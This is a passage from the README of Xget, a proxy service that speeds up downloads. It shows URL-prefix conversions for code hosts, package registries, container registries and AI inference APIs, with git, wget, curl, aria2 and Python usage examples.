`https://xget.xi-xu.me/ctan/...`                                                  |\n| Go Modules             | `golang`        | `https://proxy.golang.org/...`                                       | `https://xget.xi-xu.me/golang/...`                                                |\n| NuGet                  | `nuget`         | `https://api.nuget.org/...`                                          | `https://xget.xi-xu.me/nuget/...`                                                 |\n| Rust Crates            | `crates`        | `https://crates.io/...`                                              | `https://xget.xi-xu.me/crates/...`                                                |\n| Packagist              | `packagist`     | `https://repo.packagist.org/...`                                     | `https://xget.xi-xu.me/packagist/...`                                             |\n| Flathub                | `flathub`       | `https://dl.flathub.org/...`                                         | `https://xget.xi-xu.me/flathub/...`                                               |\n| Debian                 | `debian`        | `https://deb.debian.org/...`                                         | `https://xget.xi-xu.me/debian/...`                                                |\n| Ubuntu                 | `ubuntu`        | `https://archive.ubuntu.com/...`                                     | `https://xget.xi-xu.me/ubuntu/...`                                                |\n| Fedora                 | `fedora`        | `https://dl.fedoraproject.org/...`                                   | `https://xget.xi-xu.me/fedora/...`                                                |\n| Rocky Linux            | `rocky`         | `https://download.rockylinux.org/...`                                | `https://xget.xi-xu.me/rocky/...`                                                 |\n| openSUSE               | `opensuse`      | `https://download.opensuse.org/...`                                  | `https://xget.xi-xu.me/opensuse/...`                                              |\n| Arch Linux             | `arch`          | `https://geo.mirror.pkgbuild.com/...`                                | `https://xget.xi-xu.me/arch/...`                                                  |\n| arXiv                  | `arxiv`         | `https://arxiv.org/...`                                              | `https://xget.xi-xu.me/arxiv/...`                                                 |\n| F-Droid                | `fdroid`        | `https://f-droid.org/...`                                            | `https://xget.xi-xu.me/fdroid/...`                                                |\n| Jenkins Plugins        | `jenkins`       | `https://updates.jenkins.io/...`                                     | `https://xget.xi-xu.me/jenkins/...`                                               |\n| Container Registries   | `cr`            | See [Container Registries](#container-registries)                    | See [Container Registries](#container-registries)                                 |\n| AI Inference Providers | `ip`            | See [AI Inference Providers](#ai-inference-providers)                | See [AI Inference Providers](#ai-inference-providers)                             |\n\n### Platform Conversion Examples\n\n#### GitHub\n\n```url\n# Original URL\nhttps://github.com/microsoft/vscode/archive/refs/heads/main.zip\n\n# Converted (add gh prefix)\nhttps://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip\n```\n\n#### GitHub Gist\n\n```url\n# Original URL\nhttps://gist.github.com/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md\n\n# Converted (add gist prefix)\nhttps://xget.xi-xu.me/gist/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md\n```\n\n#### GitLab\n\n```url\n# Original URL\nhttps://gitlab.com/gitlab-org/gitlab/-/archive/master/gitlab-master.zip\n\n# Converted (add gl prefix)\nhttps://xget.xi-xu.me/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip\n```\n\n#### Gitea\n\n```url\n# Original URL\nhttps://gitea.com/gitea/gitea/archive/master.zip\n\n# Converted (add gitea prefix)\nhttps://xget.xi-xu.me/gitea/gitea/gitea/archive/master.zip\n```\n\n#### Codeberg\n\n```url\n# Original URL\nhttps://codeberg.org/forgejo/forgejo/archive/forgejo.zip\n\n# Converted (add codeberg prefix)\nhttps://xget.xi-xu.me/codeberg/forgejo/forgejo/archive/forgejo.zip\n```\n\n#### SourceForge\n\n```url\n# Original URL\nhttps://sourceforge.net/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download\n\n# Converted (add sf prefix)\nhttps://xget.xi-xu.me/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download\n```\n\n#### AOSP (Android Open Source Project)\n\n```url\n# AOSP project original URL\nhttps://android.googlesource.com/platform/frameworks/base\n\n# Converted (add aosp prefix)\nhttps://xget.xi-xu.me/aosp/platform/frameworks/base\n\n# AOSP device tree original URL\nhttps://android.googlesource.com/device/google/pixel\n\n# Converted (add aosp prefix)\nhttps://xget.xi-xu.me/aosp/device/google/pixel\n```\n\n#### Hugging Face\n\n```url\n# Model file original URL\nhttps://huggingface.co/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin\n\n# Converted (add hf prefix)\nhttps://xget.xi-xu.me/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin\n\n# Dataset file original URL\nhttps://huggingface.co/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet\n\n# Converted (add hf prefix)\nhttps://xget.xi-xu.me/hf/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet\n```\n\n#### Civitai\n\n```url\n# AI model download original URL\nhttps://civitai.com/api/download/models/128713\n\n# Converted (add civitai prefix)\nhttps://xget.xi-xu.me/civitai/api/download/models/128713\n\n# Model API original URL\nhttps://civitai.com/api/v1/models/7240\n\n# Converted (add civitai prefix)\nhttps://xget.xi-xu.me/civitai/api/v1/models/7240\n\n# Model version API original URL\nhttps://civitai.com/api/v1/model-versions/128713\n\n# Converted (add civitai prefix)\nhttps://xget.xi-xu.me/civitai/api/v1/model-versions/128713\n```\n\n#### npm\n\n```url\n# Package file original URL\nhttps://registry.npmjs.org/react/-/react-18.2.0.tgz\n\n# Converted (add npm prefix)\nhttps://xget.xi-xu.me/npm/react/-/react-18.2.0.tgz\n\n# Package metadata original URL\nhttps://registry.npmjs.org/lodash\n\n# Converted (add npm prefix)\nhttps://xget.xi-xu.me/npm/lodash\n```\n\n#### PyPI\n\n```url\n# Python package file original URL\nhttps://pypi.org/packages/source/r/requests/requests-2.31.0.tar.gz\n\n# Converted (add pypi prefix)\nhttps://xget.xi-xu.me/pypi/packages/source/r/requests/requests-2.31.0.tar.gz\n\n# Wheel file original URL\nhttps://pypi.org/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl\n\n# Converted (add pypi prefix)\nhttps://xget.xi-xu.me/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl\n```\n\n#### conda\n\n```url\n# Default channel package file original URL\nhttps://repo.anaconda.com/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda\n\n# Converted (add conda prefix)\nhttps://xget.xi-xu.me/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda\n\n# Community channel metadata original URL\nhttps://conda.anaconda.org/conda-forge/linux-64/repodata.json\n\n# Converted (add conda/community prefix)\nhttps://xget.xi-xu.me/conda/community/conda-forge/linux-64/repodata.json\n```\n\n#### Maven\n\n```url\n# Maven Central Repository JAR file original URL\nhttps://repo1.maven.org/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar\n\n# Converted (add maven prefix)\nhttps://xget.xi-xu.me/maven/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar\n\n# Maven metadata original URL\nhttps://repo1.maven.org/maven2/org/apache/commons/commons-lang3/maven-metadata.xml\n\n# Converted (add maven prefix)\nhttps://xget.xi-xu.me/maven/maven2/org/apache/commons/commons-lang3/maven-metadata.xml\n```\n\n#### Apache Software Download\n\n```url\n# Apache software download original URL\nhttps://downloads.apache.org/kafka/3.6.1/kafka_2.13-3.6.1.tgz\n\n# Converted (add apache prefix)\nhttps://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz\n\n# Apache Maven download original URL\nhttps://downloads.apache.org/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz\n\n# Converted (add apache prefix)\nhttps://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz\n\n# Apache Spark download original URL\nhttps://downloads.apache.org/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz\n\n# Converted (add apache prefix)\nhttps://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz\n```\n\n#### Gradle\n\n```url\n# Gradle plugin portal JAR file original URL\nhttps://plugins.gradle.org/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar\n\n# Converted (add gradle prefix)\nhttps://xget.xi-xu.me/gradle/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar\n\n# Gradle plugin metadata original URL\nhttps://plugins.gradle.org/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module\n\n# Converted (add gradle prefix)\nhttps://xget.xi-xu.me/gradle/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module\n```\n\n#### Homebrew\n\n```url\n# Homebrew formula repository original URL\nhttps://github.com/Homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb\n\n# Converted (add homebrew prefix)\nhttps://xget.xi-xu.me/homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb\n\n# Homebrew API original URL\nhttps://formulae.brew.sh/api/formula/git.json\n\n# Converted (add homebrew/api prefix)\nhttps://xget.xi-xu.me/homebrew/api/formula/git.json\n\n# Homebrew Bottles original URL\nhttps://ghcr.io/v2/homebrew/core/git/manifests/2.39.0\n\n# Converted (add homebrew/bottles prefix)\nhttps://xget.xi-xu.me/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0\n```\n\n#### RubyGems\n\n```url\n# RubyGems package file original URL\nhttps://rubygems.org/gems/rails-7.0.4.gem\n\n# Converted (add rubygems prefix)\nhttps://xget.xi-xu.me/rubygems/gems/rails-7.0.4.gem\n\n# RubyGems API original URL\nhttps://rubygems.org/api/v1/gems/nokogiri.json\n\n# Converted (add rubygems prefix)\nhttps://xget.xi-xu.me/rubygems/api/v1/gems/nokogiri.json\n```\n\n#### CRAN\n\n```url\n# CRAN package file original URL\nhttps://cran.r-project.org/src/contrib/ggplot2_3.5.2.tar.gz\n\n# Converted (add cran prefix)\nhttps://xget.xi-xu.me/cran/src/contrib/ggplot2_3.5.2.tar.gz\n\n# CRAN package metadata original URL\nhttps://cran.r-project.org/web/packages/dplyr/DESCRIPTION\n\n# Converted (add cran prefix)\nhttps://xget.xi-xu.me/cran/web/packages/dplyr/DESCRIPTION\n```\n\n#### CPAN (Perl Package Management)\n\n```url\n# CPAN module original URL\nhttps://www.cpan.org/modules/by-module/DBI/DBI-1.643.tar.gz\n\n# Converted (add cpan prefix)\nhttps://xget.xi-xu.me/cpan/modules/by-module/DBI/DBI-1.643.tar.gz\n\n# CPAN author package original URL\nhttps://www.cpan.org/authors/id/T/TI/TIMB/DBI-1.643.tar.gz\n\n# Converted (add cpan prefix)\nhttps://xget.xi-xu.me/cpan/authors/id/T/TI/TIMB/DBI-1.643.tar.gz\n```\n\n#### CTAN (TeX/LaTeX Package Management)\n\n```url\n# CTAN package file original URL\nhttps://tug.ctan.org/tex-archive/macros/latex/contrib/beamer.zip\n\n# Converted (add ctan prefix)\nhttps://xget.xi-xu.me/ctan/tex-archive/macros/latex/contrib/beamer.zip\n\n# CTAN font file original URL\nhttps://tug.ctan.org/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk\n\n# Converted (add ctan prefix)\nhttps://xget.xi-xu.me/ctan/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk\n```\n\n#### Go Modules\n\n```url\n# Go module proxy original URL\nhttps://proxy.golang.org/github.com/gin-gonic/gin/@v/v1.9.1.zip\n\n# Converted (add golang prefix)\nhttps://xget.xi-xu.me/golang/github.com/gin-gonic/gin/@v/v1.9.1.zip\n\n# Go module info original URL\nhttps://proxy.golang.org/github.com/gorilla/mux/@v/list\n\n# Converted (add golang prefix)\nhttps://xget.xi-xu.me/golang/github.com/gorilla/mux/@v/list\n```\n\n#### NuGet\n\n```url\n# NuGet package download original URL\nhttps://api.nuget.org/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg\n\n# Converted (add nuget prefix)\nhttps://xget.xi-xu.me/nuget/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg\n\n# NuGet package metadata original URL\nhttps://api.nuget.org/v3/registration5-semver1/microsoft.aspnetcore.app/index.json\n\n# Converted (add nuget prefix)\nhttps://xget.xi-xu.me/nuget/v3/registration5-semver1/microsoft.aspnetcore.app/index.json\n```\n\n#### Rust Crates\n\n```url\n# Crate download original URL\nhttps://crates.io/api/v1/crates/serde/1.0.0/download\n\n# Converted (add crates prefix)\nhttps://xget.xi-xu.me/crates/serde/1.0.0/download\n\n# Crate metadata original URL\nhttps://crates.io/api/v1/crates/serde\n\n# Converted (add crates prefix)\nhttps://xget.xi-xu.me/crates/serde\n\n# Crate search original URL\nhttps://crates.io/api/v1/crates?q=serde\n\n# Converted (add crates prefix)\nhttps://xget.xi-xu.me/crates/?q=serde\n```\n\n#### Packagist\n\n```url\n# Packagist package metadata original URL\nhttps://repo.packagist.org/p2/symfony/console.json\n\n# Converted (add packagist prefix)\nhttps://xget.xi-xu.me/packagist/p2/symfony/console.json\n\n# Packagist package list original URL\nhttps://repo.packagist.org/packages/list.json\n\n# Converted (add packagist prefix)\nhttps://xget.xi-xu.me/packagist/packages/list.json\n```\n\n#### Flathub\n\n```url\n# Flathub repository original URL\nhttps://dl.flathub.org/repo/summary\n\n# Converted (add flathub prefix)\nhttps://xget.xi-xu.me/flathub/repo/summary\n\n# Flathub app reference original URL\nhttps://dl.flathub.org/repo/appstream/org.gnome.gedit.flatpakref\n\n# Converted (add flathub prefix)\nhttps://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref\n```\n\n#### Linux Distributions\n\n```url\n# Debian package original URL\nhttps://deb.debian.org/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb\n\n# Converted (add debian prefix)\nhttps://xget.xi-xu.me/debian/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb\n\n# Ubuntu package original URL\nhttps://archive.ubuntu.com/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb\n\n# Converted (add ubuntu prefix)\nhttps://xget.xi-xu.me/ubuntu/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb\n\n# Fedora package original URL\nhttps://dl.fedoraproject.org/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm\n\n# Converted (add fedora prefix)\nhttps://xget.xi-xu.me/fedora/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm\n\n# Rocky Linux package original URL\nhttps://download.rockylinux.org/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm\n\n# Converted (add rocky prefix)\nhttps://xget.xi-xu.me/rocky/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm\n\n# openSUSE package original URL\nhttps://download.opensuse.org/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm\n\n# Converted (add opensuse prefix)\nhttps://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm\n\n# Arch Linux package original URL\nhttps://geo.mirror.pkgbuild.com/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst\n\n# Converted (add arch prefix)\nhttps://xget.xi-xu.me/arch/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst\n```\n\n#### arXiv\n\n```url\n# arXiv paper PDF original URL\nhttps://arxiv.org/pdf/2301.07041.pdf\n\n# Converted (add arxiv prefix)\nhttps://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf\n\n# arXiv paper source original URL\nhttps://arxiv.org/e-print/2301.07041\n\n# Converted (add arxiv prefix)\nhttps://xget.xi-xu.me/arxiv/e-print/2301.07041\n```\n\n#### F-Droid\n\n```url\n# F-Droid app APK original URL\nhttps://f-droid.org/repo/org.fdroid.fdroid_1016050.apk\n\n# Converted (add fdroid prefix)\nhttps://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk\n\n# F-Droid app metadata original URL\nhttps://f-droid.org/api/v1/packages/org.fdroid.fdroid\n\n# Converted (add fdroid prefix)\nhttps://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid\n```\n\n#### Jenkins Plugins\n\n```url\n# Jenkins update center original URL\nhttps://updates.jenkins.io/update-center.json\n\n# Converted (add jenkins prefix)\nhttps://xget.xi-xu.me/jenkins/update-center.json\n\n# Jenkins plugin download original URL\nhttps://updates.jenkins.io/download/plugins/maven-plugin/3.27/maven-plugin.hpi\n\n# Converted (add jenkins prefix)\nhttps://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi\n```\n\n#### Container Registries\n\nXget supports multiple container registries, using the `cr/[Registry Prefix]`\nformat:\n\n| Container Registry           | Registry Prefix | Original URL Format                         | Accelerated URL Format                      |\n| ---------------------------- | --------------- | ------------------------------------------- | ------------------------------------------- |\n| Docker Hub                   | `docker`        | `https://registry-1.docker.io/...`          | `https://xget.xi-xu.me/cr/docker/...`       |\n| Quay.io                      | `quay`          | `https://quay.io/...`                       | `https://xget.xi-xu.me/cr/quay/...`         |\n| Google Container Registry    | `gcr`           | `https://gcr.io/...`                        | `https://xget.xi-xu.me/cr/gcr/...`          |\n| Microsoft Container Registry | `mcr`           | `https://mcr.microsoft.com/...`             | `https://xget.xi-xu.me/cr/mcr/...`          |\n| Amazon Public ECR            | `ecr`           | `https://public.ecr.aws/...`                | `https://xget.xi-xu.me/cr/ecr/...`          |\n| GitHub Container Registry    | `ghcr`          | `https://ghcr.io/...`                       | `https://xget.xi-xu.me/cr/ghcr/...`         |\n| GitLab Container Registry    | `gitlab`        | `https://registry.gitlab.com/...`           | `https://xget.xi-xu.me/cr/gitlab/...`       |\n| Red Hat Registry             | `redhat`        | `https://registry.redhat.io/...`            | `https://xget.xi-xu.me/cr/redhat/...`       |\n| Oracle Container Registry    | `oracle`        | `https://container-registry.oracle.com/...` | `https://xget.xi-xu.me/cr/oracle/...`       |\n| Cloudsmith                   | `cloudsmith`    | `https://docker.cloudsmith.io/...`          | `https://xget.xi-xu.me/cr/cloudsmith/...`   |\n| DigitalOcean Registry        | `digitalocean`  | `https://registry.digitalocean.com/...`     | `https://xget.xi-xu.me/cr/digitalocean/...` |\n| VMware Registry              | `vmware`        | `https://projects.registry.vmware.com/...`  | `https://xget.xi-xu.me/cr/vmware/...`       |\n| Kubernetes Registry          | `k8s`           | `https://registry.k8s.io/...`               | `https://xget.xi-xu.me/cr/k8s/...`          |\n| Heroku Registry              | `heroku`        | `https://registry.heroku.com/...`           | `https://xget.xi-xu.me/cr/heroku/...`       |\n| SUSE Registry                | `suse`          | `https://registry.suse.com/...`             | `https://xget.xi-xu.me/cr/suse/...`         |\n| openSUSE Registry            | `opensuse`      | `https://registry.opensuse.org/...`         | `https://xget.xi-xu.me/cr/opensuse/...`     |\n| Gitpod Registry              | `gitpod`        | `https://registry.gitpod.io/...`            | `https://xget.xi-xu.me/cr/gitpod/...`       |\n\n```url\n# Docker Hub original URL (official images)\nhttps://registry-1.docker.io/v2/library/nginx/manifests/latest\n\n# Converted (add cr/docker prefix)\nhttps://xget.xi-xu.me/cr/docker/v2/nginx/manifests/latest\n\n# Docker Hub original URL (user images)\nhttps://registry-1.docker.io/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# Converted (add cr/docker prefix)\nhttps://xget.xi-xu.me/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# GitHub Container Registry original URL\nhttps://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# Converted (add cr/ghcr prefix)\nhttps://xget.xi-xu.me/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# Google Container Registry original URL\nhttps://gcr.io/v2/distroless/base/manifests/latest\n\n# Converted (add cr/gcr prefix)\nhttps://xget.xi-xu.me/cr/gcr/v2/distroless/base/manifests/latest\n```\n\nFor use cases, see\n[Container Image Acceleration](#container-image-acceleration).\n\n#### AI Inference Providers\n\nXget supports API acceleration for many mainstream AI inference providers, using\nthe `ip/[AI Provider Prefix]` format:\n\n| AI Inference Provider | Provider Prefix | Original URL Format                             | Accelerated URL Format                       |\n| --------------------- | --------------- | ----------------------------------------------- | -------------------------------------------- |\n| OpenAI                | `openai`        | `https://api.openai.com/...`                    | `https://xget.xi-xu.me/ip/openai/...`        |\n| Anthropic             | `anthropic`     | `https://api.anthropic.com/...`                 | `https://xget.xi-xu.me/ip/anthropic/...`     |\n| Gemini                | `gemini`        | `https://generativelanguage.googleapis.com/...` | `https://xget.xi-xu.me/ip/gemini/...`        |\n| Vertex AI             | `vertexai`      | `https://aiplatform.googleapis.com/...`         | `https://xget.xi-xu.me/ip/vertexai/...`      |\n| Cohere                | `cohere`        | `https://api.cohere.ai/...`                     | `https://xget.xi-xu.me/ip/cohere/...`        |\n| Mistral AI            | `mistralai`     | `https://api.mistral.ai/...`                    | `https://xget.xi-xu.me/ip/mistralai/...`     |\n| xAI                   | `xai`           | `https://api.x.ai/...`                          | `https://xget.xi-xu.me/ip/xai/...`           |\n| GitHub Models         | `githubmodels`  | `https://models.github.ai/...`                  | `https://xget.xi-xu.me/ip/githubmodels/...`  |\n| NVIDIA API            | `nvidiaapi`     | `https://integrate.api.nvidia.com/...`          | `https://xget.xi-xu.me/ip/nvidiaapi/...`     |\n| Perplexity            | `perplexity`    | `https://api.perplexity.ai/...`                 | `https://xget.xi-xu.me/ip/perplexity/...`    |\n| Groq                  | `groq`          | `https://api.groq.com/...`                      | `https://xget.xi-xu.me/ip/groq/...`          |\n| Cerebras              | `cerebras`      | `https://api.cerebras.ai/...`                   | `https://xget.xi-xu.me/ip/cerebras/...`      |\n| SambaNova             | `sambanova`     | `https://api.sambanova.ai/...`                  | `https://xget.xi-xu.me/ip/sambanova/...`     |\n| Siray                 | `siray`         | `https://api.siray.ai/...`                      | `https://xget.xi-xu.me/ip/siray/...`         |\n| HF Inference          | `huggingface`   | `https://router.huggingface.co/...`             | `https://xget.xi-xu.me/ip/huggingface/...`   |\n| Together              | `together`      | `https://api.together.xyz/...`                  | `https://xget.xi-xu.me/ip/together/...`      |\n| Replicate             | `replicate`     | `https://api.replicate.com/...`                 | `https://xget.xi-xu.me/ip/replicate/...`     |\n| Fireworks             | `fireworks`     | `https://api.fireworks.ai/...`                  | `https://xget.xi-xu.me/ip/fireworks/...`     |\n| Nebius                | `nebius`        | `https://api.studio.nebius.ai/...`              | `https://xget.xi-xu.me/ip/nebius/...`        |\n| Jina                  | `jina`          | `https://api.jina.ai/...`                       | `https://xget.xi-xu.me/ip/jina/...`          |\n| Voyage AI             | `voyageai`      | `https://api.voyageai.com/...`                  | `https://xget.xi-xu.me/ip/voyageai/...`      |\n| Fal AI                | `falai`         | `https://fal.run/...`                           | `https://xget.xi-xu.me/ip/falai/...`         |\n| Novita                | `novita`        | `https://api.novita.ai/...`                     | `https://xget.xi-xu.me/ip/novita/...`        |\n| Burncloud             | `burncloud`     | `https://ai.burncloud.com/...`                  | `https://xget.xi-xu.me/ip/burncloud/...`     |\n| OpenRouter            | `openrouter`    | `https://openrouter.ai/...`                     | `https://xget.xi-xu.me/ip/openrouter/...`    |\n| Poe                   | `poe`           | `https://api.poe.com/...`                       | `https://xget.xi-xu.me/ip/poe/...`           |\n| Featherless AI        | `featherlessai` | `https://api.featherless.ai/...`                | `https://xget.xi-xu.me/ip/featherlessai/...` |\n| Hyperbolic            | `hyperbolic`    | `https://api.hyperbolic.xyz/...`                | `https://xget.xi-xu.me/ip/hyperbolic/...`    |\n\n```url\n# OpenAI API original URL\nhttps://api.openai.com/v1/chat/completions\n\n# Converted (add ip/openai prefix)\nhttps://xget.xi-xu.me/ip/openai/v1/chat/completions\n\n# Claude API original URL\nhttps://api.anthropic.com/v1/messages\n\n# Converted (add ip/anthropic prefix)\nhttps://xget.xi-xu.me/ip/anthropic/v1/messages\n\n# Gemini API original URL\nhttps://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent\n\n# Converted (add ip/gemini prefix)\nhttps://xget.xi-xu.me/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent\n\n# HF Inference API original URL\nhttps://router.huggingface.co/hf-inference/models/openai/whisper-large-v3\n\n# Converted (add ip/huggingface prefix)\nhttps://xget.xi-xu.me/ip/huggingface/hf-inference/models/openai/whisper-large-v3\n```\n\nFor use cases, see\n[AI Inference API Acceleration](#ai-inference-api-acceleration).\n\n## 🎯 Use Cases\n\n### Git Operations and Configuration\n\n#### Git Operations\n\n```bash\n# Clone repository\ngit clone https://xget.xi-xu.me/gh/microsoft/vscode.git\n\n# Clone specific branch\ngit clone -b main https://xget.xi-xu.me/gh/facebook/react.git\n\n# Shallow clone (latest commit only)\ngit clone --depth 1 https://xget.xi-xu.me/gh/torvalds/linux.git\n\n# Clone GitLab repository\ngit clone https://xget.xi-xu.me/gl/gitlab-org/gitlab.git\n\n# Clone Gitea repository\ngit clone https://xget.xi-xu.me/gitea/gitea/gitea.git\n\n# Clone Codeberg repository\ngit clone https://xget.xi-xu.me/codeberg/forgejo/forgejo.git\n\n# Clone SourceForge repository\ngit clone https://xget.xi-xu.me/sf/projects/mingw-w64/code.git\n\n# Clone AOSP repository\ngit clone https://xget.xi-xu.me/aosp/platform/frameworks/base.git\n\n# Add remote repository\ngit remote add upstream https://xget.xi-xu.me/gh/[owner]/[repository].git\n\n# Pull updates\ngit pull https://xget.xi-xu.me/gh/microsoft/vscode.git main\n\n# Recursive submodule clone\ngit clone --recursive https://xget.xi-xu.me/gh/[username]/[repository-with-submodules].git\n```\n\n#### Git Global Acceleration Configuration\n\n```bash\n# Configure Git to use Xget for specific domains\ngit config --global url.\"https://xget.xi-xu.me/gh/\".insteadOf \"https://github.com/\"\ngit config --global url.\"https://xget.xi-xu.me/gl/\".insteadOf \"https://gitlab.com/\"\ngit config --global url.\"https://xget.xi-xu.me/gitea/\".insteadOf \"https://gitea.com/\"\ngit config --global url.\"https://xget.xi-xu.me/codeberg/\".insteadOf \"https://codeberg.org/\"\ngit config --global url.\"https://xget.xi-xu.me/sf/\".insteadOf \"https://sourceforge.net/\"\ngit config --global url.\"https://xget.xi-xu.me/aosp/\".insteadOf \"https://android.googlesource.com/\"\n\n# Verify configuration\ngit config --global --get-regexp url\n\n# Now all git clone operations for relevant platforms will automatically use Xget\ngit clone https://github.com/microsoft/vscode.git  # Automatically converted to Xget URL\ngit clone https://gitlab.com/gitlab-org/gitlab.git  # Automatically converted to Xget URL\ngit clone https://codeberg.org/forgejo/forgejo.git  # Automatically converted to Xget URL\ngit clone https://android.googlesource.com/platform/frameworks/base.git  # Automatically converted to Xget URL\n```\n\n### Mainstream Download Tool Integration\n\n#### wget Download\n\n```bash\n# Download single file\nwget https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip\n\n# Resume download\nwget -c https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin\n\n# Batch download\nwget -i urls.txt  # urls.txt contains multiple Xget URLs\n```\n\n#### cURL Download\n\n```bash\n# Basic download\ncurl -L -O https://xget.xi-xu.me/gh/golang/go/archive/refs/tags/go1.22.0.tar.gz\n\n# Show progress bar\ncurl -L --progress-bar -o model.bin https://xget.xi-xu.me/hf/openai/whisper-large-v3/resolve/main/pytorch_model.bin\n\n# Set user agent\ncurl -L -H \"User-Agent: MyApp/1.0\" https://xget.xi-xu.me/gl/gitlab-org/gitlab-runner/-/archive/main/gitlab-runner-main.zip\n```\n\n#### aria2 Multi-threaded Download\n\n```bash\n# Multi-threaded download of large files\naria2c -x 16 -s 16 https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin\n\n# Resume download\naria2c -c https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip\n\n# Batch download configuration file\naria2c -i download-list.txt  # File containing multiple Xget URLs\n```\n\n### Hugging Face Mirror\n\n```python\nimport os\nfrom transformers import AutoTokenizer, AutoModelForCausalLM\n\n# Set environment variable to make transformers library automatically use Xget mirror\nos.environ['HF_ENDPOINT'] = 'https://xget.xi-xu.me/hf'\n\n# Define model name\nmodel_name = 'microsoft/DialoGPT-medium'\n\nprint(f\"Downloading model from mirror: {model_name}\")\n\n# Use AutoModelForCausalLM to load dialogue generation model\n# Since we set the environment variable above, no additional parameters are needed here\ntokenizer = AutoTokenizer.from_pretrained(model_name)\nmodel = AutoModelForCausalLM.from_pretrained(model_name)\n\nprint(\"Model and tokenizer loaded successfully!\")\n\n# You can now use the tokenizer and model\n# For example:\n# new_user_input_ids = tokenizer.encode(\"Hello, how are you?\", return_tensors='pt')\n# chat_history_ids = model.generate(new_user_input_ids, max_length=1000, pad_token_id=tokenizer.eos_token_id)\n# print(tokenizer.decode(chat_history_ids[:, new_user_input_ids.shape[-1]:][0], skip_special_tokens=True))\n```\n\n### Civitai AI Model Platform\n\n```python\nimport requests\n\n# Set API base URL to use Xget\nbase_url = \"https://xget.xi-xu.me/civitai\"\n\n# Get model information\ndef get_model_info(model_id):\n    \"\"\"Get Civitai model information\"\"\"\n    url = f\"{base_url}/api/v1/models/{model_id}\"\n    response = requests.get(url)\n    return response.json()\n\n# Download model\ndef download_model(model_version_id, output_path):\n    \"\"\"Download Civitai model file\"\"\"\n    download_url = f\"{base_url}/api/download/models/{model_version_id}\"\n\n    print(f\"Downloading model version {model_version_id}...\")\n\n    response = requests.get(download_url, stream=True)\n    response.raise_for_status()\n\n    with open(output_path, 'wb') as f:\n        for chunk in response.iter_content(chunk_size=8192):\n            f.write(chunk)\n\n    print(f\"Model downloaded to: 